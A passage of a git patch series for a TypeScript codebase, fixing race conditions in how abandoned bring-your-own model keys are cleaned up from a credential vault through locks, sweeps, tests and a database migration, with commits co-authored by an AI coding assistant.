'src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts', 'src/agent-accounts/__tests__/plane-client.integration.test.ts', 'src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts', 'src/organizations/__tests__/org-lapse-loosening.integration.test.ts', From c10bd55d61ab4905a152baa7253fa09427ee4fe0 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 08:55:27 -0600 Subject: [PATCH 30/35] fix(byok): retiring a stranded model key keeps its cleanup ref for the sweep A save that crashed after sending its put leaves a row at credentialVersion 0. A later removal's retire deleted that key's material and cleared its cleanup ref, but the crashed save's put could still be running at the plane: landing after that delete and failing before its metadata committed, it would leave material nothing references. retire now leaves the ref. Past the grace period, when no write can still land, the sweep deletes again and only then clears it. Test: a stranded key erased on removal keeps its cleanup ref; fails if retire clears it. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../src/agent-accounts/__tests__/model-key-authority.test.ts | 5 +++-- .../lib/src/agent-accounts/account-authority-executor.ts | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 11a0b08d96..20d7dbdc1e 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -281,8 +281,9 @@ describe('setModelKey / removeModelKey', () => { expect({ revoked: h.revoked, active: h.active(), saved: [first.ok, second.ok] }).toEqual({ revoked: ['acct_1'], active: ['acct_2'], saved: [true, true] }); }); - it('given a key a crashed save stranded at credentialVersion 0, should erase it on removal', async () => { + it('given a key a crashed save stranded at credentialVersion 0, should erase it on removal and keep its cleanup ref (the crashed save\'s put may still land)', async () => { const h = harness(); + h.cleanupRefs.add('acct_stranded'); h.rows.set('acct_stranded', { id: 'acct_stranded', kind: 'api_key', @@ -297,7 +298,7 @@ describe('setModelKey / removeModelKey', () => { createdAt: new Date(1), } as unknown as AgentAccountRecord); const removed = await h.authority.removeModelKey({ actor }); - expect({ removed, deleted: h.deleted, status: h.rows.get('acct_stranded')?.status }).toEqual({ removed: { ok: true, account: null }, deleted: ['acct_stranded'], status: 'revoked' }); + expect({ removed, deleted: h.deleted, status: h.rows.get('acct_stranded')?.status, refs: [...h.cleanupRefs] }).toEqual({ removed: { ok: true, account: null }, deleted: ['acct_stranded'], status: 'revoked', refs: ['acct_stranded'] }); }); it('given the lock lost while the key was being stored (a removal may have run since), should never activate the key', async () => { diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 8d6f506807..17073874cf 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -528,8 +528,9 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const ref = refOf(row); const done = row.credentialVersion === 0 ? await deps.plane.delete({ ref }) : await deps.plane.revoke({ ref }); if (!done.ok && done.reason !== 'not_found') return false; - // A key a crashed save stranded before activation may still have its cleanup ref: its material is gone now. - if (row.credentialVersion === 0) await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); + // A key stranded before activation (its save crashed after sending the put) keeps its cleanup ref: that put may + // still be running at the plane and land after this delete. The sweep deletes again past the grace period, when no + // write can still land, and only then clears the ref. return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null; } From 5148aa944a31a91d2bda4a6926eb56af7a70334e Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 09:11:47 -0600 Subject: [PATCH 31/35] fix(byok): fence the abandoned-key sweep with the person's model-key lock A save that stalled between recording its cleanup ref and sending its put could outlive the sweep's grace period: the sweep would clear the ref, then the write would go out, and a crash before its metadata committed would leave material with no reference. The sweep now settles a ref only while it holds that person's model-key lock (the same main-DB advisory lock, modelKeyLockKey, that web's saves and removals hold). A save still running, however stalled, keeps the ref untouched; a save whose process died has released it. The save checks the lock once more after recording the ref: if it was lost, the write is never sent. The plane worker takes the lock through createAccountChangeLock on the main DB's advisory-lock pool. Tests: - a ref is left alone while the person's lock is held and settled once it is free (fails without the fence); - a non-person tenant or a lock that cannot be taken keeps the ref; - a save that loses its lock after recording the ref never sends its write; - the lock-key and tenant helpers. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- ...model-keys-through-the-credential-plane.md | 1 + .../abandoned-model-key-sweep.test.ts | 52 +++++++++++++++---- .../__tests__/model-key-authority.test.ts | 12 +++++ .../account-authority-executor.ts | 11 +++- .../executor/plane-orphan-sweep-worker.ts | 14 +++++ .../agent-accounts/executor/plane-worker.ts | 7 ++- .../inference/__tests__/model-key.test.ts | 7 ++- .../src/agent-accounts/inference/model-key.ts | 14 +++++ 8 files changed, 104 insertions(+), 14 deletions(-) diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index f4285e0a1f..f086197c2b 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -26,6 +26,7 @@ The options: - The plane's abandoned-model-key sweep (`sweepAbandonedModelKeys`, on the orphan sweep's timer) reads references older than the orphan grace period. It deletes the material, which the plane's delete finds with or without plane metadata, then any row left, then the reference. - The reference has no foreign key, so it survives the account row and the person. Material from a write the plane never confirmed is erased even if they are deleted first. - A reference whose key was activated is only dropped. + - The sweep settles a reference only while holding the person's model-key lock, the same main-DB advisory lock their saves and removals hold. A save that is still running, however stalled, keeps the reference from being touched. A save that loses the lock before sending its write never sends it. A reference is cleared only by the save that committed or was refused, by an abandonment whose delete succeeded after a committed write, or by the sweep, so no write can land after its reference is gone. - The sweep pages past references it cannot finish yet. - The plane's main-DB role needs `SELECT, DELETE` on the table (PageSpace-Deploy `fly/plane-main-db-role.sql`). Every model-key lookup reads all of the person's model-key rows, not the capped account listing. diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts index 59eb565f68..d895699c91 100644 --- a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -13,15 +13,17 @@ import { ORPHAN_GRACE_MS } from '../executor/decide-orphaned-refs'; const NOW = 50_000_000; const OK: DeleteResult = { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult; -const ref = (accountId: string, tenantId = 'tenant_1', createdAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }); +const ref = (accountId: string, tenantId = 'user:u1', createdAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }); const accountRow = (id: string, credentialVersion: number) => ({ id, credentialVersion }) as unknown as AgentAccountRecord; type Cursor = { readonly createdAt: Date; readonly accountId: string } | null; const pastCursor = (r: ModelKeyCleanupRef, after: Cursor) => after === null || r.createdAt.getTime() > after.createdAt.getTime() || (r.createdAt.getTime() === after.createdAt.getTime() && r.accountId > after.accountId); const onePage = (refs: ModelKeyCleanupRef[]) => async ({ after }: { after: Cursor }) => (after === null ? refs : []); +/** The per-person lock, as `createAccountChangeLock` answers: refused while `held` names the key. */ +const lockOver = (held: Set) => async (key: string, fn: () => Promise) => (held.has(key) ? ({ acquired: false } as const) : ({ acquired: true, result: await fn() } as const)); -function world({ refs, rows = [], deleteAnswers = {}, tenants = ['tenant_1'] }: { refs: ModelKeyCleanupRef[]; rows?: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[] }) { +function world({ refs, rows = [], deleteAnswers = {}, tenants = ['user:u1'], held = new Set() }: { refs: ModelKeyCleanupRef[]; rows?: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[]; held?: Set }) { const refTable = new Map(refs.map((r) => [r.accountId, r])); const rowTable = new Map(rows.map((r) => [r.id, r])); const listed: unknown[] = []; @@ -52,8 +54,8 @@ function world({ refs, rows = [], deleteAnswers = {}, tenants = ['tenant_1'] }: return answer; }, }; - const sweep = () => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, now: () => NOW }); - return { refTable, rowTable, listed, deleted, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; + const sweep = () => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, lockModelKey: lockOver(held), now: () => NOW }); + return { refTable, rowTable, listed, deleted, held, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; } describe('sweepAbandonedModelKeys', () => { @@ -68,7 +70,7 @@ describe('sweepAbandonedModelKeys', () => { }).toEqual({ result: { scanned: 1, erased: 1, failed: 0 }, listed: [{ createdBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], - deleted: [{ ref: { tenantId: 'tenant_1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_tenant_1' }], + deleted: [{ ref: { tenantId: 'user:u1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_user:u1' }], refs: [], }); }); @@ -101,8 +103,8 @@ describe('sweepAbandonedModelKeys', () => { }); it('given a full first page of refs that keep failing, should still reach and erase the ref after them', async () => { - const stuck = Array.from({ length: 200 }, (_, i) => ref(`stuck_${String(i).padStart(3, '0')}`, 'tenant_gone', 1_000)); - const w = world({ refs: [...stuck, ref('acct_later', 'tenant_1', 2_000)] }); + const stuck = Array.from({ length: 200 }, (_, i) => ref(`stuck_${String(i).padStart(3, '0')}`, 'user:gone', 1_000)); + const w = world({ refs: [...stuck, ref('acct_later', 'user:u1', 2_000)] }); const result = await w.sweep(); expect({ result, later: w.refTable.has('acct_later'), stuckKept: stuck.every((r) => w.refTable.has(r.accountId)), pages: w.listed.length }).toEqual({ result: { scanned: 201, erased: 1, failed: 200 }, @@ -112,18 +114,49 @@ describe('sweepAbandonedModelKeys', () => { }); }); + it('given a save still running for that person (stalled past the grace period, its write not yet sent), should leave the ref alone until the save lets go of the person\'s lock', async () => { + const w = world({ refs: [ref('acct_1', 'user:u1')], held: new Set(['model-key:user:u1']) }); + const whileSaving = await w.sweep(); + const untouched = { deleted: w.deleted.length, refs: [...w.refTable.keys()] }; + w.held.clear(); + const afterwards = await w.sweep(); + expect({ whileSaving, untouched, afterwards, refs: [...w.refTable.keys()] }).toEqual({ + whileSaving: { scanned: 1, erased: 0, failed: 1 }, + untouched: { deleted: 0, refs: ['acct_1'] }, + afterwards: { scanned: 1, erased: 1, failed: 0 }, + refs: [], + }); + }); + + it('given a ref whose tenant is not a person\'s, or a lock that cannot be taken, should keep it', async () => { + const odd = world({ refs: [ref('acct_1', 'drive:d1')], tenants: ['drive:d1'] }); + const lockDown = await sweepAbandonedModelKeys({ + cleanupRefs: { listDue: onePage([ref('acct_2')]), clear: async () => undefined }, + accounts: { find: async () => null, remove: async () => undefined }, + provisioner: { identityOf: async () => ({ identityId: 'identity_user:u1' }) as never }, + store: { delete: async () => OK }, + lockModelKey: async () => Promise.reject(new Error('lock pool down')), + now: () => NOW, + }); + expect({ odd: await odd.sweep(), oddDeleted: odd.deleted.length, lockDown }).toEqual({ + odd: { scanned: 1, erased: 0, failed: 1 }, + oddDeleted: 0, + lockDown: { scanned: 1, erased: 0, failed: 1 }, + }); + }); + it('given material the vault no longer holds, should drop the ref', async () => { const w = world({ refs: [ref('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'not_found' } as DeleteResult } }); expect([await w.sweep(), [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, []]); }); it('given a tenant the plane cannot resolve, should touch nothing and keep the ref for the next run', async () => { - const w = world({ refs: [ref('acct_1', 'tenant_gone')] }); + const w = world({ refs: [ref('acct_1', 'user:gone')] }); expect([await w.sweep(), w.deleted.length, [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 0, failed: 1 }, 0, ['acct_1']]); }); it('given the account row unreadable, its removal failing, or the ref not clearing, should report it failed for the next run', async () => { - const base = { provisioner: { identityOf: async () => ({ identityId: 'identity_tenant_1' }) as never }, store: { delete: async () => OK }, now: () => NOW }; + const base = { provisioner: { identityOf: async () => ({ identityId: 'identity_user:u1' }) as never }, store: { delete: async () => OK }, lockModelKey: lockOver(new Set()), now: () => NOW }; const unreadable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => Promise.reject(new Error('db down')), remove: async () => undefined } }); const unremovable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => accountRow('acct_1', 0), remove: async () => Promise.reject(new Error('db down')) } }); const uncleared = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => Promise.reject(new Error('db down')) }, accounts: { find: async () => null, remove: async () => undefined } }); @@ -137,6 +170,7 @@ describe('sweepAbandonedModelKeys', () => { accounts: { find: async () => null, remove: async () => undefined }, provisioner: { identityOf: async () => null }, store: { delete: async () => OK }, + lockModelKey: lockOver(new Set()), now: () => NOW, }); expect(result).toEqual({ scanned: 0, erased: 0, failed: 1 }); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 20d7dbdc1e..8e6d069073 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -70,11 +70,13 @@ function harness() { /** model_key_cleanup_refs, by account id. */ const cleanupRefs = new Set(); let cleanupDown = false; + let loseLockOnRecord = false; const modelKeyCleanup = { record: async ({ accountId }: { accountId: string }) => { if (cleanupDown) throw new Error('db down'); events.push(`record:${accountId}`); cleanupRefs.add(accountId); + if (loseLockOnRecord) heldLock?.abort(new Error('lock connection died')); }, clear: async (accountId: string) => void cleanupRefs.delete(accountId), }; @@ -209,6 +211,9 @@ function harness() { setCleanupDown: (down: boolean) => { cleanupDown = down; }, + loseLockOnRecord: () => { + loseLockOnRecord = true; + }, holdNextPut: () => { putGate = gate(); return putGate; @@ -365,6 +370,13 @@ describe('setModelKey / removeModelKey', () => { expect({ saved: saved.ok, events: h.events, refs: h.cleanupRefs.size }).toEqual({ saved: true, events: ['record:acct_1', 'put:acct_1'], refs: 0 }); }); + it('given the lock lost after the cleanup ref is recorded but before the write is sent, should never send the write (the sweep may be acting on that ref)', async () => { + const h = harness(); + h.loseLockOnRecord(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, events: h.events, rows: h.rows.size, refs: h.cleanupRefs.size }).toEqual({ saved: { ok: false, reason: 'conflict' }, events: ['record:acct_1'], rows: 0, refs: 0 }); + }); + it('given a cleanup ref that cannot be recorded, should write nothing to the vault and keep no row', async () => { const h = harness(); h.setCleanupDown(true); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 17073874cf..cb37df97c9 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -56,7 +56,7 @@ import { authorizeSsh, authorizeBrowserLogin, authorizeInference } from './autho import { decidePasswordAccount, type PasswordAccountInput, type PasswordAccountRefusal } from './password/decide-password-account'; import type { FillSealKey, SealedFill } from './password/fill-seal'; import type { BrowserFillResult } from './executor/browser-fill-executor'; -import { decideModelKeyInput, type InferenceCall, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key'; +import { decideModelKeyInput, type InferenceCall, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy, modelKeyLockKey } from './inference/model-key'; import { decideSshAccount, type SshAccountInput, type SshAccountVerdict } from './ssh/decide-ssh-account'; import { normalizeSshTarget, sshTargetOf } from './ssh/ssh-command'; import type { ReleasedResponse } from './filter-response'; @@ -520,7 +520,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth * could each leave a key active. A change that finds the lock held is `conflict` and changes nothing. */ async function lockModelKey(userId: string, fn: (lockLost?: AbortSignal) => Promise): Promise { - const locked = await deps.lockAccount(`model-key:user:${userId}`, fn); + const locked = await deps.lockAccount(modelKeyLockKey(userId), fn); return locked.acquired ? locked.result : { ok: false, reason: 'conflict' }; } @@ -623,6 +623,13 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.accounts.remove(row.id); return { ok: false, reason: 'plane_unavailable' }; } + // The plane's sweep acts on a cleanup ref only while it holds this person's lock. Lost before the write is sent, + // the sweep may already be acting on this ref, so the write is never sent. + if (lockLost?.aborted) { + await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); + await deps.accounts.remove(row.id); + return { ok: false, reason: 'conflict' }; + } const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); const put = await deps.plane.put({ ref: { tenantId, accountId: row.id, kind: 'api_key' }, diff --git a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index 5d9b11c6f7..cd8e42b97d 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -18,6 +18,8 @@ import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-cl import type { AgentAccountRepository } from '../agent-account-repository'; import { decideOrphanedRefs, ORPHAN_GRACE_MS } from './decide-orphaned-refs'; import type { ModelKeyCleanupRef, ModelKeyCleanupRepository } from '../model-key-cleanup-repository'; +import type { AccountAuthorityDeps } from '../account-authority-executor'; +import { modelKeyLockKey, modelKeyTenantUserId } from '../inference/model-key'; const PAGE_SIZE = 200; @@ -77,9 +79,12 @@ export async function sweepAbandonedModelKeys({ accounts, provisioner, store, + lockModelKey, now, }: { readonly cleanupRefs: Pick; + /** The per-person lock web's model-key saves hold (`modelKeyLockKey`): a ref is settled only while it is held. */ + readonly lockModelKey: AccountAuthorityDeps['lockAccount']; readonly accounts: Pick; readonly provisioner: Pick; readonly store: Pick; @@ -109,7 +114,16 @@ export async function sweepAbandonedModelKeys({ } return { scanned, erased, failed }; + // Under the person's model-key lock: a save that recorded this ref and has not sent its write yet holds that lock, + // however long it stalls, so the ref is skipped this run. A save whose process died has released it. async function settle(cleanup: ModelKeyCleanupRef): Promise { + const userId = modelKeyTenantUserId(cleanup.tenantId); + if (userId === null) return false; + const locked = await lockModelKey(modelKeyLockKey(userId), () => settleLocked(cleanup)).catch(() => ({ acquired: false }) as const); + return locked.acquired && locked.result; + } + + async function settleLocked(cleanup: ModelKeyCleanupRef): Promise { const row = await accounts.find(cleanup.accountId).catch(() => undefined); if (row === undefined) return false; if (row === null || row.credentialVersion === 0) { diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts index 1b11616d2f..40b66172d4 100644 --- a/packages/lib/src/agent-accounts/executor/plane-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts @@ -16,7 +16,7 @@ import { createServer, type Server } from 'node:http'; import { lookup } from 'node:dns/promises'; import { createHash, createHmac, createPublicKey, verify as nodeVerify } from 'node:crypto'; import { Pool } from 'pg'; -import { db } from '@pagespace/db/db'; +import { db, getAdvisoryLockPool } from '@pagespace/db/db'; import type { Ed25519Verify, HashBytes } from '../grant'; import type { PlaneConfig } from './parse-plane-env'; import { isPublicIp } from '../../security/web-fetch-ssrf'; @@ -37,6 +37,7 @@ import { createHttpRequestExecutor } from './http-request-executor'; import { createPlaneRequestHandler } from './plane-http-adapter'; import { sweepAbandonedModelKeys, sweepOrphanedRefs } from './plane-orphan-sweep-worker'; import { createModelKeyCleanupRepository } from '../model-key-cleanup-repository'; +import { createAccountChangeLock } from '../account-change-lock'; import { hmacSha3_256 } from './plane-crypto'; import { OAUTH_PROVIDER_ENDPOINTS } from '../refresh/oauth-provider-endpoints'; import { AGENT_ACCOUNT_OPERATIONS } from '../registry/google-operations'; @@ -211,9 +212,11 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC // Erasure reaches the vault: refs whose reference row cascaded away are deleted (review MED-1). const accounts = createAgentAccountRepository({ db }); const cleanupRefs = createModelKeyCleanupRepository({ db }); + // The main DB's advisory locks, as web takes them: the sweep settles a model key's cleanup ref only under its owner's lock. + const lockModelKey = createAccountChangeLock(getAdvisoryLockPool()); const sweep = setInterval(() => { void sweepOrphanedRefs({ metadata, accounts, provisioner, store, now: () => Date.now() }) - .then(() => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, now: () => Date.now() })) + .then(() => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, lockModelKey, now: () => Date.now() })) .catch(() => undefined); }, ORPHAN_SWEEP_INTERVAL_MS); sweep.unref(); diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts index f240e5f513..f53947c6cd 100644 --- a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts +++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect } from 'vitest'; import { createHash } from 'node:crypto'; import type { UserId } from '../../grant'; -import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy, decideModelKeyInput } from '../model-key'; +import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy, decideModelKeyInput, modelKeyLockKey, modelKeyTenantUserId } from '../model-key'; import { decideApproval } from '../../decide-approval'; const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); @@ -109,3 +109,8 @@ describe('decideModelKeyInput', () => { }); }); +describe('modelKeyLockKey / modelKeyTenantUserId', () => { + it('given a person, should name their model-key lock; given a tenant, should name its person only when it is a person\'s', () => { + expect([modelKeyLockKey('u1'), modelKeyTenantUserId('user:u1'), modelKeyTenantUserId('user:'), modelKeyTenantUserId('drive:d1')]).toEqual(['model-key:user:u1', 'u1', null, null]); + }); +}); diff --git a/packages/lib/src/agent-accounts/inference/model-key.ts b/packages/lib/src/agent-accounts/inference/model-key.ts index 5744a387c7..a3d4605e9f 100644 --- a/packages/lib/src/agent-accounts/inference/model-key.ts +++ b/packages/lib/src/agent-accounts/inference/model-key.ts @@ -102,6 +102,20 @@ export function canonicalizeInferenceRequest({ body, sha256, call = 'chat' }: { } /** Whether an agent account row is a person's model key. */ +/** + * The per-person lock every change to a model key runs under (web's saves and removals), and that the plane's + * abandoned-model-key sweep takes before it acts on a cleanup ref: a save still running holds it, however long it + * stalls, so the sweep never clears a ref a save is about to write under. + */ +export function modelKeyLockKey(userId: string): string { + return `model-key:user:${userId}`; +} + +/** The person a model key's plane tenant belongs to (`user:`); null for a tenant no model key has. */ +export function modelKeyTenantUserId(tenantId: string): string | null { + return tenantId.startsWith('user:') && tenantId.length > 'user:'.length ? tenantId.slice('user:'.length) : null; +} + export function isModelKeyAccount(row: { readonly providerSlug: string | null }): boolean { return row.providerSlug === MODEL_KEY_PROVIDER_SLUG; } From 53e297d650035a538681128fec0cd0173d861340 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 09:27:20 -0600 Subject: [PATCH 32/35] fix(byok): date a model-key cleanup ref from when its write is sent A save that stalled between recording its cleanup ref and sending its put could reach the sweep's grace period before the write left. If it then crashed with the write in flight, its lock was released and the ref already looked old: the sweep could delete and clear it before the delayed write landed. The ref is now recorded as the last step before the put is sent (after the bindings are prepared). A repeat record refreshes it (model_key_cleanup_refs.recorded_at, renamed from created_at; migration 0396 regenerated, unmerged), so the grace period counts from the latest write sent, not from before any stall. Test: a save that stalls 20 minutes while preparing its write dates its ref from the moment the put is sent (checked with the write in flight); it fails if the ref is recorded before the preparation. Postgres: a repeat record refreshes recorded_at. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../drizzle/0396_model_key_cleanup_refs.sql | 4 +-- packages/db/drizzle/meta/0396_snapshot.json | 12 +++---- packages/db/drizzle/meta/_journal.json | 2 +- packages/db/src/schema/model-key-history.ts | 11 ++++--- .../abandoned-model-key-sweep.test.ts | 12 +++---- .../__tests__/model-key-authority.test.ts | 32 ++++++++++++++++++- ...key-cleanup-repository.integration.test.ts | 18 ++++++++--- .../model-key-cleanup-repository.test.ts | 12 +++---- .../account-authority-executor.ts | 10 +++--- .../executor/plane-orphan-sweep-worker.ts | 13 ++++---- .../model-key-cleanup-repository.ts | 28 +++++++++------- 11 files changed, 101 insertions(+), 53 deletions(-) diff --git a/packages/db/drizzle/0396_model_key_cleanup_refs.sql b/packages/db/drizzle/0396_model_key_cleanup_refs.sql index f83236a884..c27327cb5b 100644 --- a/packages/db/drizzle/0396_model_key_cleanup_refs.sql +++ b/packages/db/drizzle/0396_model_key_cleanup_refs.sql @@ -2,7 +2,7 @@ CREATE TABLE "model_key_cleanup_refs" ( "account_id" text PRIMARY KEY NOT NULL, "tenant_id" text NOT NULL, "kind" text NOT NULL, - "created_at" timestamp with time zone DEFAULT now() NOT NULL + "recorded_at" timestamp with time zone DEFAULT now() NOT NULL ); --> statement-breakpoint -CREATE INDEX "model_key_cleanup_refs_created_idx" ON "model_key_cleanup_refs" USING btree ("created_at","account_id"); \ No newline at end of file +CREATE INDEX "model_key_cleanup_refs_recorded_idx" ON "model_key_cleanup_refs" USING btree ("recorded_at","account_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0396_snapshot.json b/packages/db/drizzle/meta/0396_snapshot.json index fdd49f4e8d..34a33d046a 100644 --- a/packages/db/drizzle/meta/0396_snapshot.json +++ b/packages/db/drizzle/meta/0396_snapshot.json @@ -1,5 +1,5 @@ { - "id": "039a05d7-bd35-4b63-8d11-526e03aeab44", + "id": "ae78b0de-7919-4bd0-88ee-51b767cd224e", "prevId": "0e10aec4-5df9-42e5-9794-00503cd375fd", "version": "7", "dialect": "postgresql", @@ -29933,8 +29933,8 @@ "primaryKey": false, "notNull": true }, - "created_at": { - "name": "created_at", + "recorded_at": { + "name": "recorded_at", "type": "timestamp with time zone", "primaryKey": false, "notNull": true, @@ -29942,11 +29942,11 @@ } }, "indexes": { - "model_key_cleanup_refs_created_idx": { - "name": "model_key_cleanup_refs_created_idx", + "model_key_cleanup_refs_recorded_idx": { + "name": "model_key_cleanup_refs_recorded_idx", "columns": [ { - "expression": "created_at", + "expression": "recorded_at", "isExpression": false, "asc": true, "nulls": "last" diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index 61f055c1cc..b2d5e2a0c6 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2560,7 +2560,7 @@ { "idx": 365, "version": "7", - "when": 1796047071684, + "when": 1796052210342, "tag": "0396_model_key_cleanup_refs", "breakpoints": true } diff --git a/packages/db/src/schema/model-key-history.ts b/packages/db/src/schema/model-key-history.ts index 2d5012da7d..8158718bbb 100644 --- a/packages/db/src/schema/model-key-history.ts +++ b/packages/db/src/schema/model-key-history.ts @@ -17,9 +17,10 @@ export const modelKeyManagedConversations = pgTable('model_key_managed_conversat /** * BYOK (ADR 0009) — where a model key's material may sit in the vault before the plane has confirmed it. A save writes - * the row BEFORE the plane's first write and clears it once the write is known (committed, so the plane's own - * metadata references the material; or refused, so nothing was stored). A write never confirmed leaves the row, and - * the plane's abandoned-model-key sweep deletes the material and then the row. + * the row as its last step before sending the plane's first write (`recorded_at` is that moment, refreshed on every + * record, so the sweep's grace period counts from the latest write sent) and clears it once the write is known + * (committed, so the plane's own metadata references the material; or refused, so nothing was stored). A write never + * confirmed leaves the row, and the plane's abandoned-model-key sweep deletes the material and then the row. * * No foreign key, on purpose: the reference must outlive the account row and its owner. Deleting the person cascades * the account row away, and a write the plane never confirmed has no plane metadata either, so this row is then the @@ -32,9 +33,9 @@ export const modelKeyCleanupRefs = pgTable( accountId: text('account_id').primaryKey(), tenantId: text('tenant_id').notNull(), kind: text('kind').notNull(), - createdAt: timestamp('created_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + recordedAt: timestamp('recorded_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), }, (table) => ({ - createdIdx: index('model_key_cleanup_refs_created_idx').on(table.createdAt, table.accountId), + recordedIdx: index('model_key_cleanup_refs_recorded_idx').on(table.recordedAt, table.accountId), }), ); diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts index 